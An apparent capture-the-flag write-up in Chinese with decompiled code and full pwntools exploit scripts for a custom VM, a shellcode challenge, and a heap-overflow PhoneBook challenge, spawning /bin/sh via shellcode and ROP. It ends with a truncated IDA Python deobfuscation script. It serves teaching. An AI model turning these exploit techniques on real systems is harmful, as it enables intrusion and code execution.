        *(&virtual_machine->register0 + v65) /= (unsigned __int64)*(&virtual_machine->register0 + v79);
        goto LABEL_193;
      case 8LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v66 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v66 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v80 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v80 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v66) &= *(&virtual_machine->register0 + v80);
        goto LABEL_193;
      case 9LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v67 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v67 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v81 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v81 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v67) |= *(&virtual_machine->register0 + v81);
        goto LABEL_193;
      case 0xALL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v68 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v68 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v82 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v82 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v68) ^= *(&virtual_machine->register0 + v82);
        goto LABEL_193;
      case 0xBLL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v69 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v69 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v69) = ~*(&virtual_machine->register0 + v69);
        goto LABEL_193;
      case 0xCLL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v70 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v70 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v70) <<= atoi(v86, 0LL, 16LL);
        goto LABEL_193;
      case 0xDLL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v71 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v71 > 5 )
          goto Error_about_invalid_register;
        *(&virtual_machine->register0 + v71) = (unsigned __int64)*(&virtual_machine->register0 + v71) >> atoi(v86, 0LL, 16LL);
        goto LABEL_193;
      case 0xELL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) )
          goto Error_about_invalid_register;
        v72 = atoi((char *)v85 + 3, 0LL, 10LL);
        if ( v72 > 5 )
          goto Error_about_invalid_register;
        if ( (unsigned int)j_strncmp_ifunc(v86, "REG", 3LL) )
          goto Error_about_invalid_register;
        v83 = atoi((char *)v86 + 3, 0LL, 10LL);
        if ( v83 > 5 )
          goto Error_about_invalid_register;
        if ( *(&virtual_machine->register0 + v72) == *(&virtual_machine->register0 + v83) )
        {
          virtual_machine->flags_register = 0LL;
        }
        else if ( *(&virtual_machine->register0 + v72) <= (unsigned __int64)*(&virtual_machine->register0 + v83) )
        {
          virtual_machine->flags_register = 2LL;
        }
        else
        {
          virtual_machine->flags_register = 1LL;
        }
        goto LABEL_193;
      case 0xFLL:                               // JMP
        v54 = atoi(v85, 0LL, 10LL);
        goto LABEL_168;
      case 0x10LL:                              // JE
        v54 = atoi(v85, 0LL, 10LL);
        if ( virtual_machine->flags_register )
          goto LABEL_193;
        goto LABEL_168;
      case 0x11LL:                              // JNE
        v54 = atoi(v85, 0LL, 10LL);
        if ( !virtual_machine->flags_register )
          goto LABEL_193;
LABEL_168:
        if ( !v54 || v54 > 0xFFF )
          goto LABEL_179;
        v55 = 0LL;
        v56 = v54;
        while ( 2 )
        {
          if ( v55 <= 0xFFF )
          {
            if ( v56 != 1 )
            {
              v21 = virtual_machine->input_data_addr;
              if ( *(_BYTE *)(v21 + v55) == 10 )
                --v56;
              ++v55;
              continue;
            }
            LODWORD(v21) = v55;
            virtual_machine->pc_register = v55;
          }
          break;
        }
        if ( v56 == 1 )
          goto LABEL_193;
LABEL_179:
        virtual_machine->error_code = 4LL;
        printf((unsigned int)"ERROR: Invalid jmp line: %ld!\n", v54, v21, v22, v23, v24);
        return virtual_machine->error_code;
      case 0x12LL:
        if ( (unsigned int)j_strncmp_ifunc(v85, "REG", 3LL) || (v73 = atoi((char *)v85 + 3, 0LL, 10LL), v73 > 5) )
        {
Error_about_invalid_register:
          virtual_machine->error_code = 3LL;
          puts("ERROR: Invalid register!");
          return virtual_machine->error_code;
        }
        *(&virtual_machine->register0 + v73) = atoi(v86, 0LL, 16LL);
        break;
      case 0x13LL:
        if ( v53 )
        {
          virtual_machine->error_code = 6LL;
          puts("ERROR: Syscall limit reached!");
          return virtual_machine->error_code;
        }
        virtual_machine->unknow1 = atoi(v85, 0LL, 16LL);
        v53 = 1LL;
        virtual_machine->register0 = syscall(
                                       virtual_machine->unknow1,
                                       virtual_machine->register0,
                                       virtual_machine->register1,
                                       virtual_machine->register2,
                                       virtual_machine->register3,
                                       virtual_machine->register4,
                                       virtual_machine->register5);
        virtual_machine->unknow1 = -1LL;
        goto LABEL_193;
      case 0x14LL:
        puts("------------------vmstate------------------");
        printf(
          (unsigned int)"pc: %#lx flags: %lx\n",
          virtual_machine->pc_register,
          virtual_machine->flags_register,
          v25,
          v26,
          v27);
        printf((unsigned int)"reg0: %#lx\n", virtual_machine->register0, v28, v29, v30, v31);
        printf((unsigned int)"reg1: %#lx\n", virtual_machine->register1, v32, v33, v34, v35);
        printf((unsigned int)"reg2: %#lx\n", virtual_machine->register2, v36, v37, v38, v39);
        printf((unsigned int)"reg3: %#lx\n", virtual_machine->register3, v40, v41, v42, v43);
        printf((unsigned int)"reg4: %#lx\n", virtual_machine->register4, v44, v45, v46, v47);
        printf((unsigned int)"reg5: %#lx\n", virtual_machine->register5, v48, v49, v50, v51);
        puts("-------------------------------------------");
        virtual_machine->error_code = 0LL;
        return virtual_machine->error_code;
      default:
        virtual_machine->error_code = 1LL;
        puts("ERROR: Unknown opcode!");
        return virtual_machine->error_code;
    }
  }
  return 0LL;
}

可以发现 start_vm处理Instruction的逻辑是 首先判断 Instruction 是否在 Instructlist中(是否是支持的Instruction type) ,之后再根据Instructionlist 找到 Instruction type,根据Instruct type能知道指令有几个操作数,然后去判断指令格式有没有语法错误,之后会走到下面 switch这里 找到对应的Instruction_handler 做处理

阅读Instruction list 还有Instruction handler 可以得知虚拟机中有这些指令, 其中算术运算和逻辑运算指令 两个操作数都是寄存器,读写内存可以使用 LOAD STORE这两个指令,要设置寄存器的值 可以使用 SET指令,jcc相关的指令是通过修改pc寄存器去实现跳转的,HLT能显示寄存器的状态,INT指令可以进行syscall,但是INT指令只能使用一次,代码写的非常safe,对每个数据都有很明确的上下界检查

.rodata:00000000004A9008 aNop            db 'NOP',0              ; DATA XREF: .data:instruction_listo
.rodata:00000000004A900C aLoad           db 'LOAD',0
.rodata:00000000004A9011 aStore          db 'STORE',0
.rodata:00000000004A9017 aMov            db 'MOV',0
.rodata:00000000004A901B aAdd            db 'ADD',0
.rodata:00000000004A901F aSub            db 'SUB',0
.rodata:00000000004A9023 aMul            db 'MUL',0
.rodata:00000000004A9027 aDiv            db 'DIV',0
.rodata:00000000004A902B aAnd            db 'AND',0
.rodata:00000000004A902F aOr             db 'OR',0
.rodata:00000000004A9032 aXor            db 'XOR',0
.rodata:00000000004A9036 aNot            db 'NOT',0
.rodata:00000000004A903A aShl            db 'SHL',0
.rodata:00000000004A903E aShr            db 'SHR',0
.rodata:00000000004A9042 aCmp            db 'CMP',0
.rodata:00000000004A9046 aJmp            db 'JMP',0
.rodata:00000000004A904A aJe             db 'JE',0
.rodata:00000000004A904D aJne            db 'JNE',0
.rodata:00000000004A9051 aSet            db 'SET',0
.rodata:00000000004A9055 aInt            db 'INT',0
.rodata:00000000004A9059 aHlt            db 'HLT',0

先看看这个 INT是怎么用的

      case 0x13LL:
        if ( v53 )
        {
          virtual_machine->error_code = 6LL;
          puts("ERROR: Syscall limit reached!");
          return virtual_machine->error_code;
        }
        virtual_machine->unknow1 = atoi(v85, 0LL, 16LL);
        v53 = 1LL;
        virtual_machine->register0 = syscall(
                                       virtual_machine->unknow1,
                                       virtual_machine->register0,
                                       virtual_machine->register1,
                                       virtual_machine->register2,
                                       virtual_machine->register3,
                                       virtual_machine->register4,
                                       virtual_machine->register5);
        virtual_machine->unknow1 = -1LL;
        goto LABEL_193;

比如说 syscall read(0,0x114514,0x40) 只需要构造这样的表达式

1
2
3
4
SET REG0 0
SET REG1 0x114514
SET REG2 0x40
INT 0

srop??

在调试的过程中,发现有一个行为和atoi函数非常相似的函数,暂且称做atoi吧,在执行的时候会把部分opcode拷贝到栈上,利用这个函数处理数据时截断的性质,同时拷贝opcode的逻辑,拷贝到的位置刚刚好可以到signa frame中rsp rip的位置,可以构造这样的表达式,之后调用rt_sigreturn去劫持rip rsp,但是这样做段寄存器会发生改变,会产生一个段错误导致利用不下去

payload = b'''
SET REG0 0x460b37
STORE REG0 0x20241000
SET REG0 0x4062f3
STORE REG0 0x20241010

SET REG0 0x404e68
STORE REG0 0x20241020
SET REG0 0x20241000
STORE REG0 0x20241028

SET REG0 0x49688b
STORE REG0 0x20241030
SET REG0 0x1000
STORE REG0 0x20241038

SET REG0 ''' + p64(0x401972) + b'\n'
payload += b"INT 0xf_AAAAAAABBBBBCCCCCCCC"
payload +=p64(0x4e4050)

vtable??

程序是静态链接的,没有pie,所以vtable的地址是固定的,可以通过修改vtable去劫持控制流,做了一些尝试找到了一个关于vprintf的利用链,可以劫持rip,但是这个依赖于syscall read,和本地进程通信用的也不是socket,当时没有考虑到 eof的问题qaq

from pwn import *
## from LibcSearcher import *
import itertools
import ctypes
import tty
import socket

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "127.0.0.1"
PORT = 9999

## NOP 0
## LOAD 1
## STORE 2
## MOV 3
## AND 4
## SUB 5
## MUL 6
## DIV 7
## AND 8
## OR 9
## XOR 0xa
## NOT 0xb
## SHL 0xc
## SHR 0xd
## CMP 0xe
## JMP 0xf
## JE 0x10
## JNE 0x11
## SET 0x12 SET REG0 40
## INT 0x13 INT syscallnum
## HLT 0x14 HLT

## bss = 0x4e4000
## flag_str_addr = 0x20242000
## SET REG0 1
## SET REG1 0x20242000
## SET REG2 40
## NOT REG5 REG1
## INT 1

p = process("./chal",stdin=PTY,raw=False)
## p = remote(IP,PORT)

payload = b'''
SET REG0 1
SET REG1 0x4e5d80
SET REG2 0x200
INT 0
'''

gdb_comm = '''
b *0x41ed7f
c
'''
## 0x0000000000493675 : add rax, qword ptr [r12] ; call rax

p.sendlineafter("Please input your code (max: 4096), end with EOF:",payload)
p.send(chr(tty.CEOF))
## p.shutdown()

gdb.attach(p,gdb_comm)
p.sendline(b"A" * 0x38 + p64(0x0000000000474f21))

p.interactive()

process_vm_readv & process_vm_writev

后面才知道有这两个系统调用,这两个系统调用可以把数据从一个进程拷贝到另一个进程,如果pid设置为current process pid的话,可以做到类似于memcpy的事情,然后qemu的pid初始是固定的,开启新进程,新进程的pid是往后递增的,所以可以用getpid获取远程环境的current pid number,然后就能推断出下一次交互的pid号是多少。通过这两个系统调用去修改got表 再配合magic gadget打rop劫持控制流

https://www.man7.org/linux/man-pages/man2/process_vm_readv.2.html 1715173889193

1715174106086

需要构造一个lovec的结构体,这个结构体可以用来描述一个数据块 1715174296519 exp

from pwn import *
## from LibcSearcher import *
import itertools
import ctypes
import tty
import socket

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "124.222.230.184"
PORT = 10010

## NOP 0
## LOAD 1
## STORE 2
## MOV 3
## AND 4
## SUB 5
## MUL 6
## DIV 7
## AND 8
## OR 9
## XOR 0xa
## NOT 0xb
## SHL 0xc
## SHR 0xd
## CMP 0xe
## JMP 0xf
## JE 0x10
## JNE 0x11
## SET 0x12 SET REG0 40
## INT 0x13 INT syscall_number
## HLT 0x14 HLT

## bss = 0x4e4000
## flag_str_addr = 0x20242000
## SET REG0 1
## SET REG1 0x20242000
## SET REG2 40
## NOT REG5 REG1
## INT 1

## p = process("./chal",stdin=PTY,raw=False)
p = remote(IP,PORT)

## mremap   man/ cs/    0x19    unsigned long addr  unsigned long old_len   unsigned long new_len   unsigned long flags     unsigned long new_addr
## process_vm_writev    man/ cs/    0x137   pid_t pid   const struct iovec *lvec    unsigned long liovcnt   const struct iovec *rvec    unsigned long riovcnt   unsigned long flags

    #    struct iovec {
    #        void   *iov_base;  /* Starting address */
    #        size_t  iov_len;   /* Size of the memory pointed to by iov_base. */
    #    };

payload = b'''
SET REG0 0x67616c662f2e
STORE REG0 0x20240000

SET REG0 0x4a4319
STORE REG0 0x20242000

SET REG0 0x20242000
STORE REG0 0x20241000
SET REG0 0x8
STORE REG0 0x20241008

SET REG0 0x4E4070
STORE REG0 0x20241010
SET REG0 0x8
STORE REG0 0x20241018

SET REG0 0x150
SET REG1 0x20241000
SET REG2 1
SET REG3 0x20241010
SET REG4 1
SET REG5 0
INT 0x137
'''

pop_rdi_ret = 0x00000000004062f3
pop_rsi_ret = 0x0000000000404e68
pop_rdx_rbx_ret = 0x000000000049688b
pop_rcx_ret = 0x000000000049d61b # pop rcx ; add eax, 0x1480000 ; ret
syscall = 0x460E10
mov_r8d = 0x000000000049a206
memory_addr = 0x20240000

payload += p64(pop_rdi_ret) + p64(2)
payload += p64(pop_rsi_ret) + p64(memory_addr)
payload += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(2)
payload += p64(pop_rsi_ret) + p64(memory_addr)
payload += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(2)
payload += p64(pop_rsi_ret) + p64(memory_addr)
payload += p64(pop_rdx_rbx_ret) + p64(0) + p64(0)
payload += p64(syscall)

payload += p64(pop_rdi_ret) + p64(40)
payload += p64(pop_rsi_ret) + p64(1)
payload += p64(pop_rdx_rbx_ret)+p64(5)+p64(0)
payload += p64(pop_rcx_ret) + p64(0)
payload += p64(mov_r8d)
payload += p64(syscall)

## payload2 = '''
## INT 0x27
## HLT
## '''

## syscall
gdb_comm = '''
b *0x403EEF 
c
'''
## gdb.attach(p,gdb_comm)
p.sendlineafter("Please input your code (max: 4096), end with EOF:",payload)
## p.send(chr(tty.CEOF))
p.shutdown()


p.interactive()

2bytes

read to input那可以覆盖passwd,strcmp是根据\x00来判断cmp的长度的,所以只可以执行七个字节长度的shellcode,七个字节实现getshell很明显是不够的,所以得实现syscall read一次,并且jmp到mmap的段那。只需要用xchg交换rsi rdx的值 之后syscall,就能read 0x1000的数据到mmap的段那,再jmp过去就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int fd; // [rsp+Ch] [rbp-4h]

  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  fd = open("/dev/urandom", 0);
  read(fd, passwd, 7uLL);
  close(fd);
  puts("Give me the secret");
  read(0, input, 0xFuLL);
  if ( !strcmp(input, passwd) )
  {
    puts("Good luck");
    pwnme();
  }
  return 0;
}
__int64 pwnme()
{
  __int64 v0; // rdx
  _QWORD *i; // [rsp+8h] [rbp-18h]
  _QWORD *v3; // [rsp+10h] [rbp-10h]

  v3 = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  v0 = *&passwd[8];
  *v3 = *passwd;
  v3[1] = v0;
  for ( i = v3; i != (v3 + 5); i = (i + 1) )
    *(i + 2) ^= *i ^ *(i + 1);
  return (i)();
}

.bss:0000000000004050                               public input
.bss:0000000000004050                               ; char input[8]
.bss:0000000000004050 ?? ?? ?? ?? ?? ?? ?? ??       input db 8 dup(?)                       ; DATA XREF: main+B9↑o
.bss:0000000000004050                                                                       ; main+D7↑o
.bss:0000000000004058                               public passwd
.bss:0000000000004058                               ; char passwd[8]
.bss:0000000000004058 ?? ?? ?? ?? ?? ?? ?? ??       passwd db 8 dup(?)                      ; DATA XREF: pwnme+35↑o
.bss:0000000000004058                                                                       ; main+8A↑o
.bss:0000000000004058                                                                       ; main+CD↑o
.bss:0000000000004058                               _bss ends
.bss:0000000000004058

exp

from pwn import *
## from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "127.0.0.1"
PORT = 40735

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def encode(data):
    data = bytearray(data)
    tmp = bytearray(data)
    for x in range(5):
        tmp[x+2] ^= (data[x] ^ data[x+1])
    return bytes(tmp)


payload = asm('''
xchg rsi,rdx
syscall
''') + b'\xeb\xf9'


payload = encode(payload) + b'\x00' + encode(payload)
sa("Give me the secret",payload)

shellcode = asm('''
    mov rax,0x68732f6e69622f
    push rax
    push rsp
    pop rdi
    push 0x3b
    pop rax
    xor esi, esi
    xor edx, edx
    syscall
''')
sa("Good luck",shellcode)





p.interactive()

PhoneBook

程序的逻辑是这样的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Welcome to minilctf2024!");
  puts("Here is a simple Phone book.");
  puts("But it's so vulnerable.");
  v4 = 0;
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%d", &v4);
    switch ( v4 )
    {
      case 1:
        add();
        break;
      case 2:
        delete();
        break;
      case 3:
        show();
        break;
      case 4:
        edit();
        break;
      case 5:
        puts("Bye Bye! ");
        exit(0);
      default:
        puts("Unknown choice! \n");
        break;
    }
  }
}
int add()
{
  _QWORD *i; // [rsp+0h] [rbp-10h]
  __int64 v2; // [rsp+0h] [rbp-10h]

  for ( i = (_QWORD *)chunklist; i[4]; i = (_QWORD *)i[4] )
    ;
  if ( *i > 0x3FuLL )
    return puts("You can not add more!");
  i[4] = new_people(*i + 1LL);
  v2 = i[4];
  puts("Name?");
  my_read((unsigned __int8 *)(v2 + 8), 0xFu);
  puts("Phone Number?");
  my_read((unsigned __int8 *)(v2 + 24), 0xBu);
  return puts("Add success!\n");
}
unsigned __int64 delete()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-20h] BYREF
  __int64 v2; // [rsp+8h] [rbp-18h]
  void *ptr; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v1 = 0LL;
  puts("Index?");
  __isoc99_scanf("%lu", &v1);
  if ( v1 && v1 <= 0x3F )
  {
    v2 = chunklist;
    ptr = 0LL;
    while ( *(_QWORD *)(v2 + 32) )
    {
      ptr = *(void **)(v2 + 32);
      if ( *(_QWORD *)ptr == v1 )
      {
        *(_QWORD *)(v2 + 32) = *((_QWORD *)ptr + 4);
        free(ptr);
        puts("Delete success!\n");
        return v4 - __readfsqword(0x28u);
      }
      v2 = *(_QWORD *)(v2 + 32);
    }
    puts("Index not found.");
  }
  else
  {
    puts("You can not delete it.");
  }
  return v4 - __readfsqword(0x28u);
}
int show()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = chunklist;
  printf("%-8s%-16s%s\n", "Index", "Name", "Phone-Number");
  while ( v1 )
  {
    printf("%-8lu%-16s%s\n", *(_QWORD *)v1, (const char *)(v1 + 8), (const char *)(v1 + 24));
    v1 = *(_QWORD *)(v1 + 32);
  }
  return puts("Show success!\n");
}
unsigned __int64 edit()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-20h] BYREF
  __int64 v2; // [rsp+8h] [rbp-18h]
  __int64 v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v1 = 0LL;
  puts("Index?");
  __isoc99_scanf("%lu", &v1);
  if ( v1 && v1 <= 0x3F )
  {
    v2 = chunklist;
    v3 = 0LL;
    while ( *(_QWORD *)(v2 + 32) )
    {
      v3 = *(_QWORD *)(v2 + 32);
      if ( *(_QWORD *)v3 == v1 )
      {
        puts("New Name?");
        my_read((unsigned __int8 *)(v3 + 8), 0xFu);
        puts("New Phone Number?");
        my_read((unsigned __int8 *)(v3 + 24), 0xBu);
        puts("Edit success!\n");
        return v4 - __readfsqword(0x28u);
      }
      v2 = *(_QWORD *)(v2 + 32);
    }
    puts("Index not found!\n");
  }
  else
  {
    puts("You can not edit it.");
  }
  return v4 - __readfsqword(0x28u);
}

通过分析程序逻辑,发现增删改查操作都涉及到间接寻址,可以发现是一个单链表的结构,尾插入法,头结点是不做操作的,结构体大概是这样,漏洞出现在 修改phone_number的时候有一个三字节的溢出可以破坏单链表的指针,由于main arena基地址有效位实际上是低十二位,这里破坏next chunk只能两个字节的改,所以12 - 16位也就是 0 - f 这个需要爆破一下,本地调试的话这种情况吧aslr关掉,保证利用链能打通的情况下再去写爆破的逻辑就好了。然后大多数操作都有idx的检查,所以在破坏next chunk指针的同时,还需要考虑一下idx的情况

1
2
3
4
5
6
struct chunk{
int64 chunk_idx;
char name[16];
char phone_number[8];
struct chunk *next_chunk;
}
首先得拿到一些劫持控制流常用的原语,比如说任意地址读写 glibc是2.35 tcache poison 和fastbin attack需要绕过safe link得泄露堆地址,libc地址也需要泄露。 泄露堆地址吧 phone_number填满然后show 通过 %s就能泄露,泄露libc地址的话,需要布置堆风水,伪造8个fake chunk,chunk_size > 0x80 prev inuse = 1, 可以布置这样一个堆布局
head_node -> nodeA -> nodeB -> nodeC -> nodeD
通过edit nodeA,写fake chunk,然后将 nodeC 的 next chunk指低两个字节指向 fake chunk的 udata部分 之后delete node就能得到一个 伪造出来的bin了,填满tcache后就能拿到unsortedbin 拿到unsortedbin 后泄露environ的地址,然后把main函数栈帧的返回地址改了就能劫持控制流 用这个gadget配合binsh 和system就好了
0x0000000000125bb0 : pop rax ; pop rdi ; call rax
exp
from pwn import *
## from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./PhoneBook')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(name,phonenumber):
    sla("Your Choice: ","1")
    sa("Name?",name)
    sa("Phone Number?",phonenumber)

def delete(idx):
    sla("Your Choice: ","2")
    sla("Index?",str(idx))

def edit(idx,name,phonenumber):
    sla("Your Choice: ","4")
    sla("Index?",str(idx))
    sa("New Name?",name)
    sa("New Phone Number?",phonenumber)

def show():
    sla(b'Your Choice: \n',"3")

p = process()

for i in range(0x39):
    add(p64(0xa1) + p8(0x39-i),p64(0xa1))

pl = p8(0xa1)
pl = pl.ljust(8,b'a')
edit(2,b'0'*8 + p8(0x3d),pl)
show()

for i in range(3):
    rl()
heap_base = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00')) - 0x330


edit(2,p64(0xa1)+p8(0x38),p64(0xa1))# reset 2

for i in range(8):
    pl = p64(0xa1) + p16(0xc2e0+i*0x30)
    edit(56-i,p64(0xa1),pl)
    delete(0x39-i)

## 截断结尾 unsortedbin 的下一个chunk
edit(9,p64(0xa1),p64(0xa1)+p16(0xc290))

show()

for i in range(2):
    rl()
key = u64(rl().strip(b'\n')[-8:])

for i in range(6):
    rl()

libc.address = u64(rl().strip(b'\n')[-6:].ljust(8,b'\x00')) - (0x7ffff7facce0 - 0x7ffff7d93000)
success(f'libc_base ->{hex(libc.address)}')


environ = libc.sym['__environ']
environ_low = environ & 0xffffff
byte1 = (environ_low >> 16) & 0xff  # 获取低字节
byte2 = (environ_low >> 8) & 0xff   # 获取中间字节
byte3 = environ_low & 0xff          # 获取高字节

edit(8,p64(0x31) + bytes([byte3, byte2, byte1]) ,p64(environ))
edit(7,p64(0xa1),p64(0)+p16(0xc410))

show()
for i in range(10):
    rl()
stack = int(p.recv(15),10) + (0x7fffffffdc48-0x7fffffffdd88) - 8
success(f'stack_addr ->{hex(stack)}')
edit(7,p64(0xa1),p64(0)+p16(0xc420)) # reset 7

tmp = (heap_base>>12)^(stack)
print(hex(heap_base))
print(hex(tmp))
tmp_low = tmp & 0xffffffff
tmp_high = (tmp & 0xffff00000000) >> 0x20

edit(9,p64(0xa1),p64(0xa1)+p16(0xc480))

for i in range(2):
    pl = p64(0x31) + p16(0xc490+i*0x30)
    edit(0x30-i,p64(0x31),pl)
    edit(0xa+i,p64(0x31)+p16(0x32+i),p64(0x31))
    delete(0x32+i)

pl = p64(0x31) + p32(tmp_low) + p16(tmp_high)
edit(0xb,pl,p64(key))

edit(9,p64(0xa1),p64(0xa1)+p16(0xc260))
add(p64(0x31),p64(0x31))
edit(9,p64(0xa1),p64(0xa1)+p16(0xcd70))


pop_rdi = libc.address + 0x000000000002a3e5
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
rdi = stack - (0x7fffffffdc40-0x7ffff7faea70)
ret = libc.address + 0x0000000000029cd6
ret_0x10 = libc.address + 0x00000000000c164e

## print(hex(pop_rdi))
gad = libc.address + 0x0000000000125bae + 2
tmp = system
tmp_low = tmp & 0xffffffff
tmp_high = (tmp & 0xffff00000000) >> 0x20
print(hex(tmp_high))
print(hex(tmp_low))

pl = p64(gad) + p32(tmp_low) + p16(tmp_high)
add(pl,p64(binsh))

p.interactive()

re

longlongcall

确实是longlongcall,每个Instruction被拆分开来,插入到自定义的函数中组成一个很长的调用链,导致静态分析非常麻烦,动态调试也很麻烦,那有没有更简单的方法呢?

text:0000000000001C3A                               main proc near                          ; DATA XREF: start+18↑o
.text:0000000000001C3A                               ; __unwind {
.text:0000000000001C3A 55                            push    rbp
.text:0000000000001C3B 9C                            pushfq
.text:0000000000001C3C E8 02 00 00 00                call    sub_1C43
.text:0000000000001C3C
.text:0000000000001C41 C9                            leave
.text:0000000000001C42 C3                            retn
.text:0000000000001C42
.text:0000000000001C42                               main endp
.text:0000000000001C42
.text:0000000000001C43
.text:0000000000001C43                               ; =============== S U B R O U T I N E =======================================
.text:0000000000001C43
.text:0000000000001C43
.text:0000000000001C43                               ; __int64 __fastcall sub_1C43(_QWORD, _QWORD, _QWORD)
.text:0000000000001C43                               sub_1C43 proc near                      ; CODE XREF: main+2↑p
.text:0000000000001C43 48 83 C4 08                   add     rsp, 8
.text:0000000000001C47 9D                            popfq
.text:0000000000001C48 48 89 E5                      mov     rbp, rsp
.text:0000000000001C4B 9C                            pushfq
.text:0000000000001C4C E8 02 00 00 00                call    sub_1C53
.text:0000000000001C4C
.text:0000000000001C51 C9                            leave
.text:0000000000001C52 C3                            retn
.text:0000000000001C52
.text:0000000000001C52                               sub_1C43 endp ; sp-analysis failed
.text:0000000000001C52
.text:0000000000001C53
.text:0000000000001C53                               ; =============== S U B R O U T I N E =======================================
.text:0000000000001C53
.text:0000000000001C53
.text:0000000000001C53                               sub_1C53 proc near                      ; CODE XREF: sub_1C43+9↑p
.text:0000000000001C53 48 83 C4 08                   add     rsp, 8
.text:0000000000001C57 9D                            popfq
.text:0000000000001C58 48 83 EC 40                   sub     rsp, 40h
.text:0000000000001C5C 9C                            pushfq
.text:0000000000001C5D E8 02 00 00 00                call    sub_1C64

最近学习到了一些ida python的用法,发现可以使用ida python内置的接口去解决这个问题,使用的是ida 7.7。可以分析出每个子函数内只有一条指令是有用的,其他逻辑都是调整栈帧还有函数调用的逻辑,那 只需要条件递归 main函数,跳过无用的逻辑(pushfq popfq leave retn等),将有用的逻辑取出来并disasm 就能解决这个longlongcall了。不过还发现一个问题,程序除了call之外,还使用jmp之类的jcc指令跳转到新的代码块中,然后程序中的循环也是使用jcc去实现的,如果条件递归中,除了call 还加上这些jcc去递归,那很容易因为循环逻辑陷入一个无限递归,所以只能去递归call,把不属于迭代数据循环的jcc指令跑多几遍。

import idaapi
import idautils
import idc

start_addr = 0x1c3a
visited = set()

def analyze_function_calls(addr, depth=0):
    if addr in visited:
        return

    visited.add(addr)

    function_name = idc.get_func_name(addr)
    if not function_name:
        function_name = "sub_%X" % addr

    for instruction in idautils.FuncItems(addr):  # 遍历函数里的每一条 Instruction
        mnem = idc.print_insn_mnem(instruction)
